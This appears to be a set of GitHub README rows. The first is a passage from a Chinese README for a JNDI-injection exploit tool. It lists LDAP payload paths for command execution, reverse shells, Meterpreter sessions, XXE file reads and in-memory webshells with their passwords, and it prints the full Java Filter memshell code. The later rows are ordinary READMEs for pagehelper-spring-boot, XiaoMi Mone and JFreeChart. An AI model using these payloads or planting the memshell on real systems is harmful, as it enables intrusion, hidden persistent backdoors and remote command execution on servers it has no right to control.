ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp
[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
```
* 目前支持的所有 ```PayloadType``` 为
* ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配
* ```Command```: 用于执行命令,如果命令有特殊字符,支持对命令进行 ```Base64编码```后传输
* ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell,方便使用
* ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```WeblogicEcho```: 用于在中间件为 ```Weblogic``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```TomcatMemshell1```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```TomcatMemshell2```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```, 使用时需要添加额外的```HTTP Header``` ```Shell: true```, **推荐**使用此方式
* ```SpringMemshell```: 用于植入```Spring内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WeblogicMemshell1```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WeblogicMemshell2```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```,**推荐**使用此方式
* ```JettyMemshell```: 用于植入```Jetty内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```JBossMemshell```: 用于植入```JBoss内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* 目前支持的所有 ```GadgetType``` 为
* ```URLDNS```
* ```CommonsBeanutils1```
* ```CommonsBeanutils2```
* ```CommonsCollectionsK1```
* ```CommonsCollectionsK2```
* ```C3P0```
* ```Jdk7u21```
* ```Jre8u20```
* ```CVE_2020_2551```
* ```CVE_2020_2883```
* ```WebsphereBypass``` 中的 3 个动作:
* ```list```:基于```XXE```查看目标服务器上的目录或文件内容
* ```upload```:基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录
* ```rce```:加载已上传至目标服务器临时目录的```jar包```,从而达到远程代码执行的效果(这一步本地未复现成功,抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常,有复现成功的小伙伴麻烦指导下)
## ```内存shell```说明
* 采用动态添加 ```Filter/Controller```的方式,并将添加的```Filter```移动至```FilterChain```的第一位
* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目
* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]```
* ```TomcatMemshell1和TomcatMemshell2``` 的访问方式需要修改```冰蝎```客户端(请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改),并在访问时需要添加 ```X-Options-Ai``` 头部,密码为```rebeyond```
## ```内存shell```说明2
* ```TomcatMemshell3``` 可直接使用冰蝎3客户端连接 推荐使用此payload
* ```GodzillaMemshell``` 可直接使用哥斯拉客户端连接 推荐使用此payload
TomcatMemshell1和TomcatMemshell2植入的 Filter 代码如下:
```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
String k;
Cipher cipher;
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
k = servletRequest.getParameter("pass");
if (k != null && !k.isEmpty()) {
cipher = null;
String[] cmds;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", k};
} else {
cmds = new String[]{"cmd", "/C", k};
}
String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
try {
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
k = "e45e329feb5d925b";
((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
targetMethod.invoke(evilObject, servletRequest, servletResponse);
}
} catch (Exception var10) {
var10.printStackTrace();
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
```
## 参考
* https://github.com/veracode-research/rogue-jndi
* https://github.com/welk1n/JNDI-Injection-Exploit
* https://github.com/welk1n/JNDI-Injection-Bypass
| 0 |
pagehelper/pagehelper-spring-boot | pagehelper-spring-boot | 2017-01-01T15:04:19Z | null | # PageHelper integration with Spring Boot
PageHelper-Spring-Boot-Starter 帮助你集成分页插件到 Spring Boot。
PageHelper-Spring-Boot-Starter will help you use PageHelper with Spring Boot.
Support PageHelper 6.x
## How to use
在 pom.xml 中添加如下依赖:
Add the following dependency to your pom.xml:
```xml
<dependency>
<groupId>com.github.pagehelper</groupId>
<artifactId>pagehelper-spring-boot-starter</artifactId>
<version>2.1.0</version>
</dependency>
```
## 微信公众号
<img src="wx_mybatis.jpg" height="300"/>
## v2.1.0 - 2023-12-17
- 升级 PageHelper 到 6.1.0,支持异步 count
等功能,详细查看 [6.1.0](https://github.com/pagehelper/Mybatis-PageHelper/releases/tag/v6.1.0)
- 升级 MyBatis 到 3.5.15
- 升级 springboot 到 2.7.18
- 新增参数 `orderBySqlParser`,`OrderBySqlParser`改为接口,允许通过`orderBySqlParser`参数替换为自己的实现
- 新增参数 `sqlServerSqlParser`,`SqlServerSqlParser`改为接口,允许通过`sqlServerSqlParser`参数替换为自己的实现
- 接口 `CountSqlParser`,`OrderBySqlParser`,`SqlServerSqlParser` 还支持SPI方式覆盖默认实现,优先级低于参数指定
## v2.0.0 - 2023-11-05
- 升级 PageHelper 到 6.0.0,支持异步 count 等功能,详细查看 [6.0](https://github.com/pagehelper/Mybatis-PageHelper/releases/tag/v6.0.0)
- 升级 MyBatis 到 3.5.15
- 升级 springboot 到 2.7.17
- 新增参数 `asyncCount`,增加异步count支持,默认`false`,单次设置:`PageHelper.startPage(1, 10).enableAsyncCount()`;
- 新增参数 `countSqlParser`,`CountSqlParser`改为接口,允许通过`countSqlParser`参数替换为自己的实现
参数示例:
```properties
pagehelper.async-count=true
```
## v1.4.7 - 2023-06-03
- 升级 PageHelper 到 5.3.3
- 升级 MyBatis 到 3.5.13
- 升级 MyBatis Starter 到 2.3.1
- 升级 springboot 到 2.7.12
## v1.4.6 - 2022-11-28
- 兼容 Spring Boot 3.0 by [pky920216344](https://github.com/pky920216344)
- 功能完善:存在PageInterceptor及其子类就不再添加过滤器 by [jingheee](https://github.com/jingheee)
## v1.4.5 - 2022-09-18
- 升级 PageHelper 到 5.3.2
## v1.4.4 - 2022-09-16
- 修复配置文件中kebab-case风格的配置项失效的问题 pr#138, by ShoWen
- 兼容性支持,demo配置修改
- 升级 springboot 到 2.7.3
-
## v1.4.3 - 2022-06-18
- 升级 PageHelper 到 5.3.1
- 升级 MyBatis 到 3.5.10
- 升级 springboot 到 2.7.0
## v1.4.2 - 2022-04-06
- 升级 MyBatis 到 3.5.9
- 升级 MyBatis Starter 到 2.2.2
- 升级 springboot 到 2.6.6
## v1.4.1 - 2021-11-24
- 升级 springboot 到 2.6.0,兼容性修复,解决循环依赖
## v1.4.0 - 2021-10-07
- 升级 PageHelper 到 5.3.0
- 升级 springboot 到 2.5.5
- 增加 `autoDialectClass` 参数,详情看 PageHelper 更新日志
## v1.3.1 - 2021-06-20
- 升级 PageHelper 到 5.2.1
- 升级 MyBatis 到 3.5.7
- 升级 MyBatis Starter 到 2.2.0
- 升级 springboot 到 2.5.1
- `PageHelperAutoConfiguration` 使用 `InitializingBean` 接口代替 `@PostConstruct` 注解
## v1.3.0 - 2020-07-26
- 升级 PageHelper 到 5.2.0,包含大量改动,详细内容参考:[PageHelper 更新日志](https://github.com/pagehelper/Mybatis-PageHelper/blob/master/wikis/zh/Changelog.md)
- 升级 MyBatis 到 3.5.5
- 升级 MyBatis Starter 到 2.1.3
- 升级 springboot 到 2.3.1.RELEASE
- `PageHelperAutoConfiguration` 增加 `@Lazy(false)` 注解,当配置延迟加载时,避免分页插件出错
- 添加分页插件时判断是否已经配置过同一个实例(不同的配置是不同的实例)
## v1.2.13 - 2019-11-26
- 升级 PageHelper 到 5.1.11
- 升级 MyBatis 到 3.5.3
- 升级 MyBatis Starter 到 2.1.1
- 升级 springboot 到 2.2.1.RELEASE
## v1.2.12 - 2019-06-05
- 升级 PageHelper 到 5.1.10
## v1.2.11 - 2019-05-29
- 升级 PageHelper 到 5.1.9
- 升级 MyBatis 到 3.5.1
- 升级 MyBatis Starter 到 2.0.1
- 升级 springboot 到 2.1.5.RELEASE
## v1.2.10 - 2018-11-11
- 升级 PageHelper 到 5.1.8
- 升级 springboot 到 2.1.0.RELEASE
## v1.2.9 - 2018-10-11
- 升级 PageHelper 到 5.1.7
>v1.2.8 由于未修改版本,仍然和 v1.2.7 相同。
## v1.2.7 - 2018-09-04
- 升级 PageHelper 到 5.1.6
## v1.2.6 - 2018-09-04
- 升级 PageHelper 到 5.1.5
## v1.2.5 - 2018-04-22
- 升级 PageHelper 到 5.1.4(默认增加对达梦数据库的支持)
- 升级 MyBatis 到 3.4.6
## v1.2.4 - 2018-04-07
- 升级 PageHelper 到 5.1.3
- 升级 springboot 到 2.0.1.RELEASE
- 增加 dialectAlias 参数,允许配置自定义实现的 别名,可以用于根据JDBCURL自动获取对应实现,允许通过此种方式覆盖已有的实现,配置示例如(多个配置用分号`;`隔开):
```properties
pagehelper.dialect-alias=oracle=com.github.pagehelper.dialect.helper.OracleDialect
```
- 增加 defaultCount 参数,用于控制默认不带 count 查询的方法中,是否执行 count 查询,默认 true 会执行 count 查询,这是一个全局生效的参数,多数据源时也是统一的行为。配置示例如:
```properties
pagehelper.default-count=false
```
## v1.2.3 - 2017-09-25
- 修改属性获取方式,兼容 Spring Boot 1.x 和 2.x
- 第三方扩展分页插件时使用到额外属性时,配置属性要和属性名完全匹配
- 升级 springboot 到 1.5.7.RELEASE
- 升级 MyBatis-Starter 版本到 1.3.1
## v1.2.2 - 2017-09-18
- 升级 pagehelper 到 5.1.2
## v1.2.1 - 2017-08-30
- 升级 pagehelper 到 5.1.1
## v1.2.0 - 2017-08-28
- 升级 pagehelper 到 5.1.0
## v1.1.3 - 2017-08-01
- 升级 pagehelper 到 5.0.4
- 升级 springboot 到 1.5.6.RELEASE
## v1.1.2 - 2017-06-28 by [drtrang](https://github.com/drtrang)
- 升级 pagehelper 到 5.0.3
- 升级 springboot 到 1.5.4.RELEASE
- 将 maven-compiler-plugin 和 maven-source-plugin 从 release profile 中提出来作为全局插件,并且增加继承属性,解决 `PageHelperAutoConfiguration` 类中的 `@Override` 报错问题。
## v1.1.1 - 2017-04-25
- 增加多数据源支持 [#pr6](https://github.com/pagehelper/pagehelper-spring-boot/pull/6) by [yangBin666](https://github.com/yangBin666)
- 升级分页插件 PageHelper 版本到 5.0.1
- 升级 MyBatis 版本到 3.4.4
- 升级 Spring Boot 版本到 1.5.3.RELEASE
- 升级 MyBatis-Starter 版本到 1.3.0
## v1.1.0 - 2017-02-04
- 解决可能会注册两次分页插件的问题。
- 增加 PageHelperProperties 注入,常用属性可以通过 IDE 自动提示
![IDE 自动提示](properties.png)
## Example
>https://github.com/abel533/MyBatis-Spring-Boot
## PageHelper
>https://github.com/pagehelper/Mybatis-PageHelper
## Special Configurations
一般情况下,你不需要做任何配置。
Normally, you don't need to do any configuration.
如果需要配置,可以使用如下方式进行配置:
You can config PageHelper as the following:
application.properties:
```properties
pagehelper.propertyName=propertyValue
```
注意 pagehelper 配置,因为分页插件根据自己的扩展不同,支持的参数也不同,所以不能用固定的对象接收参数,所以这里使用的 `Map<String,String>`,因此参数名是什么这里就写什么,IDE 也不会有自动提示。
关于可配置的属性请参考 [如何使用分页插件](https://github.com/pagehelper/Mybatis-PageHelper/blob/master/wikis/zh/HowToUse.md)。
You can configure the properties of the reference here [How to use the PageHelper](https://github.com/pagehelper/Mybatis-PageHelper/blob/master/wikis/en/HowToUse.md).
## Interceptor Order
如果你想要控制 拦截器插件的顺序,可以通过下面注解控制:
If you want to control the order in which the interceptor plug-in, you can use the following annotation control:
```java
@AutoConfigureAfter(PageHelperAutoConfiguration.class)
//Or
@AutoConfigureBefore(PageHelperAutoConfiguration.class)
```
## 感谢所有项目贡献者!
<a href="https://github.com/pagehelper/pagehelper-spring-boot/graphs/contributors">
<img src="https://contributors-img.web.app/image?repo=pagehelper/pagehelper-spring-boot" />
</a> | 0 |
XiaoMi/mone | No description, website, or topics provided | 2021-01-22T05:20:18Z | null | <div align='center'>
<a href="https://github.com/XiaoMi/mone">
<img width="500" style='background:black' src="https://img.youpin.mi-img.com/middlewareGroup/1bd0957f930473e6449e3c34d52df98a.png">
</a>
</div>
<div align='center'>
<br>
<h2 align='center' >Provided by Xiaomi Mione Team </h2>
<br>
</div>
Mone is a one-stop enterprise collaborative Research and Development platform centered on microservices. It supports various deployment forms such as public cloud, private cloud, and hybrid cloud; it provides end-to-end R&D full-process services from "creation -> development -> deployment -> governance -> observation".
Mone creates "dual agility", agile R&D and agile organization through new cloud-native technologies and new R&D models, to ensure the agile R&D collaboration of Xiaomi's high-complexity business and large-scale teams in the China region, achieving multiple efficiency improvements.
## ✨ Architecture
### Product Architecture
![mone](readme/image/mione_architect.png)
### Improving Efficiency Across the Entire R&D Process
![mone](readme/image/mione_devflow.png)
## ✨ Features
- 🌈 Full Lifecycle Project Management
- 📦 Continuous Integration, Continuous Delivery
- 🛡 Dayu - Microservice Governance
- ⚙️ Tesla Gateway
- 🌍 OzHera - Application Observability Platform
- 🎨 FaaS Platform
- ⚙️ API Management Platform
## 🔗 Mone introduction
### [OzHera - Application Observability Platform]
![mone-hera](readme/image/en/hera_en01_new.jpeg)
![mone-hera](readme/image/en/hera_en02.jpeg)
![mone-hera](readme/image/en/hera_en03.jpeg)
![mone-hera](readme/image/en/hera_en04.jpeg)
![mone-hera](readme/image/en/hera_en05.jpeg)
![mone-hera](readme/image/en/hera_en06.jpeg)
![mone-hera](readme/image/en/hera_en07.jpeg)
## 📃 Document
To learn more or get started quickly [Quick Start](http://mone.xiaomiyoupin.com/#/doc/1),please refer to the [Mone Official Website](http://mone.xiaomiyoupin.com/#/index)
## 🔨Contributing
**owners:**
- Xinyan Xing
- Jinliang Ou
- Zhiyong Zhang
- Wenbang Dan
- Qingfu Ren
- Pei Ding
**committers:**
- Ping Zhang
- Baoyu Cao
- Yibo Gao
- Zhenxing Dong
- Zhidong Wang
- Tao Ding
- Xiaowei Zhang
- Gaofeng Zhang
- Tao Wang
- Min Wang
- Xihui Gao
- Haoyang Wang
- Linlin Tan
- Chuankang Liu
- Yandong Wang
- Yulin Gao
- Ting Kang
- Yuchong Liu
- Xiuhua Zhang
- Zheng Xu
- Ming Zhi
- Lei Chen
- Hao Zheng
## 📞 Contact
+ 📮 Mailing list:
+ mione@xiaomi.com
+ 📮 Wechat official account
+ 天穹云原生
+ 📮 Forum
+ [Mone](https://m.one.mi.com/)
## *License*
Mone is released under the [Apache 2.0 license](LICENSE).
```
Copyright 2020 XiaoMi.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at the following link.
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
## User List
If you are using [XiaoMi/mone](https://github.com/w1zirn/mone) and think that it helps you or want to contribute code for mone, please add your company to the user list to let us know your needs.
|![xiao mi](https://s02.mifile.cn/assets/static/image/logo-mi2.png)|![auchosaur games](readme/image/auchosaur_games.png)|![lingdong](readme/image/lingdong.png)|![airstar](readme/image/airstar.png)|
| :---: | :---: | :---: | :---: |
| 0 |
jfree/jfreechart | A 2D chart library for Java applications (JavaFX, Swing or server-side). | 2016-02-01T21:43:12Z | null | JFreeChart
==========
Version 2.0.0, not yet released.
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.jfree/jfreechart/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.jfree/jfreechart)
Overview
--------
JFreeChart is a comprehensive free chart library for the Java™ platform that
can be used on the client-side (JavaFX and Swing) or the server side, with
export to multiple formats including SVG, PNG and PDF.
![JFreeChart sample](http://jfree.org/jfreechart/images/coffee_prices.png)
The home page for the project is:
http://www.jfree.org/jfreechart
JFreeChart requires JDK 11 or later. For Java 8 support, check the `v1.5.x` branch.
The library is licensed under the terms of the GNU Lesser General Public
License (LGPL) version 2.1 or later.
JavaFX
------
JFreeChart can be used with JavaFX via the `JFreeChart-FX` extensions:
https://github.com/jfree/jfreechart-fx
Demos
-----
A small set of demo applications can be found in the following projects here
at GitHub:
* [JFree-Demos](https://github.com/jfree/jfree-demos "JFree-Demos Project Page at GitHub")
* [JFree-FXDemos](https://github.com/jfree/jfree-fxdemos "JFree-FXDemos Project Page at GitHub")
A more comprehensive set of demos, plus the JFreeChart Developer Guide, is a reward at most
tiers of the [JFree sponsorship](https://github.com/sponsors/jfree) program. Thanks for supporting the JFree projects!
For Developers
--------------
### Using JFreeChart
To use JFreeChart in your projects, add the following dependency to your build tool:
<dependency>
<groupId>org.jfree</groupId>
<artifactId>jfreechart</artifactId>
<version>1.5.3</version>
</dependency>
### Building JFreeChart
You can build JFreeChart using Maven by issuing the following command from the root directory of the project:
mvn clean install
The build requires JDK 11 or later.
### Migration
When migrating from JFreeChart 1.0.x to JFreeChart 1.5.0, please be aware of the following API changes:
* all the classes from JCommon that are used by JFreeChart have integrated within the JFreeChart jar file within a different package than before (you will need to change your imports);
* many methods `getBaseXXX()/setBaseXXX()` have been renamed `setDefaultXXX()/getDefaultXXX()`;
* the `ChartUtilities` class has been renamed `ChartUtils`;
* all the classes relating to pseudo-3D charts have been removed, as much better 3D charts are offered by [Orson Charts](https://github.com/jfree/orson-charts) so we prefer not to maintain the pseudo-3D chart code within JFreeChart;
* the `SegmentedTimeline` class has been removed due to being (a) complex, (b) not always being correct and, as a result, generating too many support requests;
* the `org.jfree.chart.utils.ParamChecks` class has been renamed `org.jfree.chart.utils.Args`.
Please refer to [Issue 66](https://github.com/jfree/jfreechart/issues/66) for additional info.
History
-------
##### Version 2.0 (not yet released)
- use `ThreadLocal` for calendars in time series datasets ([#171](https://github.com/jfree/jfreechart/pull/171));
- added `valueVisible` flag to `MeterPlot` ([#231](https://github.com/jfree/jfreechart/pull/231));
- modify buffer in `ChartPanel` to handle high DPI displays ([#170](https://github.com/jfree/jfreechart/issues/170));
- add options to control pan vs zoom in `ChartPanel` ([#172](https://github.com/jfree/jfreechart/pull/172));
- observe series visibility flags in `ClusteredXYBarRenderer` ([#89](https://github.com/jfree/jfreechart/pull/89));
- observe axis visibility flag in `PeriodAxis` ([#198](https://github.com/jfree/jfreechart/issues/198));
- fix for exception on extreme zoom on `NumberAxis` (bug #64);
- fix tick label font for `LogAxis` with number format override ([#98](https://github.com/jfree/jfreechart/issues/98));
- remove alpha channel from copy-to-clipboard (fixes bug #182);
- apply rendering hints to overlays - fixes bug #187;
- modify `TextTitle` to throw `IllegalArgumentException` rather than `NullPointerException` ([#205](https://github.com/jfree/jfreechart/issues/205));
- fix bugs on crosshair labels ([#189](https://github.com/jfree/jfreechart/pull/189), [#194](https://github.com/jfree/jfreechart/pull/194));
- removed `ObjectUtils` class ([#163](https://github.com/jfree/jfreechart/pull/163));
- removed unused `URLUtilities` class ([#162](https://github.com/jfree/jfreechart/pull/162))
- fixed `LayeredBarRenderer` (bugs [#169](https://github.com/jfree/jfreechart/issues/169) and [#175](https://github.com/jfree/jfreechart/issues/175));
- minor fix for `DefaultPieDataset` (bugs [#212](https://github.com/jfree/jfreechart/issues/212))
- fix `isJFreeSVGAvailable()` method (bugs [#207](https://github.com/jfree/jfreechart/issues/207))
- add new methods to access maps for datasets, renderers and axes in plots ([#201](https://github.com/jfree/jfreechart/issues/201));
- update French translations (bug #186);
- fix "Save_as" entries in localisation files (bug #184);
- add flags for visibility of outliers in `BoxAndWhiskerRenderer` ([#79](https://github.com/jfree/jfreechart/pull/79));
- added generics;
- `DefaultIntervalCategoryDataset` no longer allows null keys in constructor (this
is a consequence of introducing generics);
- update required JDK to version 11.
##### Version 1.5.0 (5 November 2017)
- all JavaFX classes moved to a separate project;
- added cleaner method to create histograms in `ChartFactory`;
- JCommon removed as a dependency, and required classes incorporated directly (including package rename);
- pull request #4 improvements to `XYStepRenderer`;
- bug #36 fix for crosshairs with multiple datasets / axes;
- bug #25 fix for `DateAxis.previousStandardDate()` method;
- bug #19 fix for default time zone in `SegmentedDateAxis`;
- SourceForge #1147 improve performance of `CategoryPlot` mapping datasets to axes;
- moved SWT code out into separate projects;
- moved demo programs to a separate project;
- dropped the Ant build;
##### Version 1.0.19 (31-Jul-2014)
- fixed clipping issues for combined plots in JavaFX;
- fixed a memory leak in the new JavaFX `ChartCanvas` class;
- `CombinedDomainXYPlot` and `CombinedRangeXYPlot` now take into account the pannable flags in the subplots;
- `FastScatterPlot` panning direction is corrected;
- added rendering hints to sharpen gridlines and borders in most output formats;
- JFreeSVG updated to version 2.0;
- included a preview of JSFreeChart, a 2D chart library written in JavaScript that is conceptually similar to JFreeChart but runs directly in a web browser.
##### Version 1.0.18 (3-Jul-2014)
- added JavaFX support via `FXGraphics2D`;
- improved `LogAxis` labelling;
- improved numeric tick labelling;
- center text support in `RingPlot`;
- `stepPoint` attribute in the `XYStepAreaRenderer`;
- other minor improvements and bug fixes.
##### Version 1.0.17 (22-Nov-2013)
- Enhanced `XYSplineRenderer` with new area fill (contributed by Klaus Rheinwald);
- added a notify flag to all datasets that extend `AbstractDataset`;
- extended `TimeSeriesCollection` to validate `TimeSeries` keys for uniqueness;
- added a new `DirectionalGradientPaintTransformer` (by Peter Kolb);
- updated `OHLCSeries`;
- added `HMSNumberFormat`;
- updated JCommon to version 1.0.21 (includes rotated text improvements) and fixed some minor bugs.
###### Bug Fixes
- 977 : Multithreading issue with `DateAxis`;
- 1084 : `BorderArrangement.add()` possible `ClassCastException`;
- 1099 : `XYSeriesCollection.removeSeries(int)` does not deregister listener;
- 1109 : `WaterfallBarRenderer` uses wrong color for diff 0.
##### Version 1.0.16 (13-Sep-2013)
*** THIS RELEASE REQUIRES JDK/JRE 1.6.0 OR LATER. ***
- Provided subscript/superscript support for axis labels (via `AttributedString`);
- new axis label positioning options;
- simplified `ChartFactory` methods;
- added new methods to `DatasetUtilities` to interpolate y-values in `XYDatasets`;
- added URLs to labels on `CategoryAxis`;
- seamless integration with JFreeSVG (http://www.jfree.org/jfreesvg/) and OrsonPDF
(http://www.object-refinery.com/pdf/);
- improved the consistency of the `SWTGraphics2D` implementation;
All the JUnit tests have been upgraded to JUnit 4.
###### Bug Fixes
- 1107 : Fixed TimeZone issue in `PeriodAxis`;
Also fixed a line drawing issue with the `StackedXYAreaRenderer`, and a memory
leak in the SWT `ChartComposite` class.
##### Version 1.0.15 (4-Jul-2013)
- Added support for non-visible series in `XYBarRenderer`;
- minor gridlines in `PolarPlot`;
- legend item ordering;
- chart editor enhancements;
- updates to `StandardDialScale`;
- localisation files for Japanese;
- refactored parameter checks.
This release also fixes a minor security flaw in the `DisplayChart` class, detected and reported by OSI Security:
http://www.osisecurity.com.au/advisories/jfreechart-path-disclosure
###### Patches
- 3500621 : `LegendTitle` order attribute (by Simon Kaczor);
- 3463807 : `ChartComposite` does not dispose popup (by Sebastiao Correia);
- 3204823 : `PaintAlpha` for 3D effects (by Dave Law);
###### Bug Fixes
- 3561093 : Rendering anomaly for `XYPlots`;
- 3555275 : `ValueAxis.reserveSpace()` problem for axes with fixed dimension;
- 3521736 : `DeviationRenderer` optimisation (by Milan Ramaiya);
- 3514487 : `SWTGraphics2D` `get/setStroke()` problem;
- 3508799 : `DefaultPolarItemRenderer` does not populate `seriesKey` in `LegendItem`;
- 3482106 : Missing text in `SWTGraphics2D` (by Kevin Xu);
- 3484408 : Maven fixes (Martin Hoeller);
- 3484403 : `DateAxis` endless loop (by Martin Hoeller);
- 3446965 : `TimeSeries` calculates range incorrectly in `addOrUpdate()`;
- 3445507 : `TimeSeriesCollection.findRangeBounds()` regression;
- 3425881 : `XYDifferenceRenderer` fix (by Patrick Schlott/Christoph Schroeder);
- 2963199 : SWT print job (by Jonas Rüttimann);
- 2879650 : Path disclosure vulnerability in `DisplayChart` servlet;
Also fixed a rendering issue for polar charts using an inverted axis.
##### Version 1.0.14 (20-Nov-2011)
This release contains:
- support for multiple and logarithmic axes with `PolarPlot`;
- optional drop-shadows in plot rendering;
- fitting polynomial functions to a data series;
- some performance improvements in the `TimeSeriesCollection` class;
- mouse wheel rotation of pie charts;
- improved Maven support.
###### Patches
- 3435734 : Fix lines overlapping item labels (by Martin Hoeller);
- 3421088 : Bugfix for misalignment in `BoxAndWhiskerRenderer`;
- 2952086 : Enhancement for finding bounds in `XYZDatasets`;
- 2954302 : `CategoryPointerAnnotation` line calculation;
- 2902842 : `HistogramDataset.addSeries()` fires change change event (by Thomas A Caswell);
- 2868608 : Whisker width attribute for `BoxAndWhiskerRenderer` (by Peter Becker);
- 2868585 : Added `useOutlinePaint` flag for `BoxAndWhiskerRenderer` (by Peter Becker);
- 2850344 : `PolarPlot` enhancements (by Martin Hoeller);
- 2795746 : Support for polynomial regression;
- 2791407 : Fixes for `findRangeBounds()` in various renderers.
###### Bug Fixes
- 3440237 : Shadows always visible;
- 3432721 : `PolarPlot` doesn't work with logarithmic axis;
- 3433405 : `LineChart3D` - Problem with Item Labels;
- 3429707 : `LogAxis` endless loop;
- 3428870 : Missing argument check in `TextAnnotation`;
- 3418287 : `RelativeDateFormatTest.java` is locale dependent;
- 3353913 : Localisation fixes for `ChartPanel`, `CompassPlot` and `PiePlot3D`;
- 3237879 : `RingPlot` should respect `getSectionOutlineVisible()`;
- 3190615 : Added missing `clear()` method in `CategoryTableXYDataset`;
- 3165708 : `PolarChartPanel` localisation fix;
- 3072674 : Bad handling of `NaN` in `DefaultStatisticalCategoryDataset`;
- 3035289 : `StackedXYBarRenderer` should respect series/item visible flags;
- 3026341 : Check for null in `getDomain/RangeBounds()` for `XYShapeRenderer`;
- 2947660 : `AbstractCategoryRenderer` fix null check in `getLegendItems()`;
- 2946521 : `StandardDialScale` check `majorTickIncrement` argument;
- 2876406 : `TimeTableXYDataset` should support `Comparable` for series keys;
- 2868557 : `BoxAndWhiskerRenderer` should fire change event in `setMedianVisible()`;
- 2849731 : For `IntervalCategoryDataset` and `IntervalXYDataset`, fix `iterateRangeBounds()` in `DatasetUtilities`;
- 2840132 : `AbstractXYItemRenderer` `drawAnnotations` doesn't set renderer index;
- 2810220 : Offset problem in `StatisticalBarRenderer`;
- 2802014 : Dial value border too small;
- 2781844 : `XYPointerAnnotation` arrow drawing;
- 1937486 : `AreaRenderer` doesn't respect `AreaRendererEndType.LEVEL`;
Also fixed:
- use of simple label offset in `PiePlot`;
